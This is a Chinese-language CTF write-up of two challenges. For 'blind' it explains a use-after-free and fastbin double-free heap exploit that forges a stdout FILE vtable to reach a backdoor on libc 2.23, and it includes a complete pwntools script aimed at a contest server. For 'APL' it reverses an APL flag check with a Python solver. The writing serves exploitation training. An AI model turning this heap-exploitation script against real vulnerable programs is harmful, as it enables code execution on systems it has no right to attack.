blind

申请0x68的内存,可以分配到0x70的fastbin,所以可以利用libc的0x7F做fastbin attack。

漏洞是UAF。

PIE没开,其他都开了。

got表不可写,有后门,思路就是覆盖stdout,通过fastbin attack,覆盖指针实现任意写,写一个伪造的文件,顺便把counter的限制弄大点。

然后利用got表分配到一块内存,可以从0x602000写输入,因为read只读内存不会segfault会返回错误并且不会消耗输入流,这里可以覆盖。

然后盖stdout,puts会调用stdout的虚表,能劫持到后门。2.23 libc不会check虚表位置

exp

from pwn import *

g_local=True
context.log_level='debug'
e = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
if g_local:
	sh = process('./blind')#env={'LD_PRELOAD':'./libc.so.6'}
	#gdb.attach(sh)
else:
	sh = remote("106.75.20.44", 9999)

FAKE_CHUNK_GOT = 0x601fcd
FAKE_CHUNK_BSS = 0x602045 - 8
def new(idx, content):
	sh.send("1\n")
	sh.recvuntil("Index:")
	sh.send(str(idx) + "\n")
	sh.recvuntil("Content:")
	sh.send(content)
	sh.recvuntil("Choice:")

def release(idx):
	sh.send("3\n")
	sh.recvuntil("Index:")
	sh.send(str(idx) + "\n")
	sh.recvuntil("Choice:")

def change(idx, content):
	sh.send("2\n")
	sh.recvuntil("Index:")
	sh.send(str(idx) + "\n")
	sh.recvuntil("Content:")
	sh.send(content)
	sh.recvuntil("Choice:")

#64 bits
fake_file = '\x00' * 0x88
fake_file += p64(0x602C00)
fake_file = fake_file.ljust(0xd8, '\x00')
fake_file += p64(0x602800 + 0xE0 - 0x38) + p64(0x4008E3) # fake_vtable_addr
#put to 0x602800

assert len(fake_file) == 0xE8

new(0, "A\n")
new(1, "B\n")

release(0)
release(1)
release(0)

new(2, p64(FAKE_CHUNK_BSS) + "\n")
new(3, "consume idx 1\n")
new(4, "consume idx 0\n")
new(5, '\x00' * 0x13 + p64(0x602888) + p64(0) * 6 + p32(0x80000000) + "\n")
#now idx 0 point to 0x602888, others are 0
#bins are empty

change(0, fake_file[0x88:] + "\n")

new(1, "A\n")
release(1)
change(1, p64(FAKE_CHUNK_GOT)[:7] + "\n")

new(2, "consume idx 1\n")
sh.send("1\n")
sh.recvuntil("Index:")
sh.send("3\n")
sh.recvuntil("Content:")
sh.send('\x00' * 0x20 + p64(0x602800)[:7] + "\n")

sh.interactive()

APL

PaidCTF有一道很类似的题,APL整理一样大概是这样

{⍵(~⍵)/('No_Please_continue')('Yes,This_is_flag')}
(∊(41(41)0+140)
(⎕UCS('xxxxxxxxxxxxxxxxxxxxxxx'))146) # 一堆乱码是结果,后面加个146,前面再加点东西
{+/⍺≠ # compare with result
33+ # +33 foreach
2⊥ # to nums
(1(5)×8)⍴ # 8 40 reshape(width 40, height 8)
∊ # flatten
{a≠8↑(1,a←(8⍴2)⊤⍵)}¨ # c ^ ((c >> 1) | 0x80)
2⊥ # convert to 40 nums
8(+/⍴⍳(7*2)-⌊9.1⌊⍴'FlagIsWhat')⍴ # 8 40 reshape
10⊖ # upward rotate 10
⊖ # reverse horizontal as axis
⌽ # reverse vertical as axis
(20 16)⍴ # reshape
(1+(|¯8)⍴1)⊤ # convert to vertical bin matrix
⎕UCS(⍵)}
'YourFlagIsWhat?'

也没啥技巧,这题不难,就是慢慢查,慢慢学,会Google,https://n9n.gitlab.io/apl/web/index.html里慢慢撸,就能做出来。APL是从右到左结合性的函数式编程语言,很奇葩,我是没见过真的有哪个程序员用这玩意,然后每一步做了什么我都写在上面注释里了,从下往上读,然后再做逆操作就好。。。

然后那个结果我是通过APL的在线解释器搞的,直接丢Python会有编码问题。。。

有些括号里面的东西就是吓唬人的,不如直接扔进去eval一下直接看,而不是人肉解释,比方说(1+(|¯8)⍴1)(1(5)×8)

然后就没啥坑了,下面是求解的Python

import itertools
map_tab = []
def get_map_tab():
	for c in xrange(0,0x100):
		map_tab.append(c ^ ((c >> 1) | 0x80))

def rev_map_tab(num):
	return map_tab.index(num)

def byte_to_bits(num):
	assert num < 0x100
	ret = []
	i = 7
	while i >= 0:
		if num & (1 << i) == 0:
			ret.append(0)
		else:
			ret.append(1)
		i -= 1
	return ret

def parse_to_matrix(width, height, bits):
	assert width * height == len(bits)
	ret = []
	for y in xrange(0,height):
		ret.append(bits[y * width:(y+1) * width])
	return ret

def bits_to_num(bits):
	assert len(bits) == 8
	ret = 0
	for b in bits:
		ret <<= 1
		ret += b
	return ret

def rotate_left(line, off):
	return line[off:] + line[:off]

def transpose(bits):
	width = len(bits[0])
	height = len(bits)
	ret = []
	for y in xrange(0,width):
		ret.append(map(lambda x : x[y], bits))
	return ret

get_map_tab()
res = [181,283,187,213,256,36,35,286,36,232,225,203,286,286,285,96,226,222,288,157,35,34,33,288,34,75,69,40,169,36,35,286,36,81,60,107]
res.append(146)
res = [181,181,140] + res
print len(res)
res = map(lambda x: x-33, res)

res = map(byte_to_bits,res)
res = list(itertools.chain.from_iterable(res))
res = transpose(parse_to_matrix(8, 40, res))

res = list(itertools.chain.from_iterable(res))

res = parse_to_matrix(8, 40, res)
res = map(bits_to_num, res)
res = map(rev_map_tab, res)

res = transpose(map(byte_to_bits,res))

res = list(itertools.chain.from_iterable(res))
res = parse_to_matrix(16, 20, res)

res = rotate_left(res, 10)
res = map(lambda x : x[::-1], res)
res = res[::-1]

res = list(itertools.chain.from_iterable(res))
res = parse_to_matrix(40, 8, res)

res = transpose(res)
res = map(bits_to_num, res)
print res
print "".join(map(chr,res))

ctftime上有个PaidCTF那题的WP,那个解释的比较详细,这两道题其实也很类似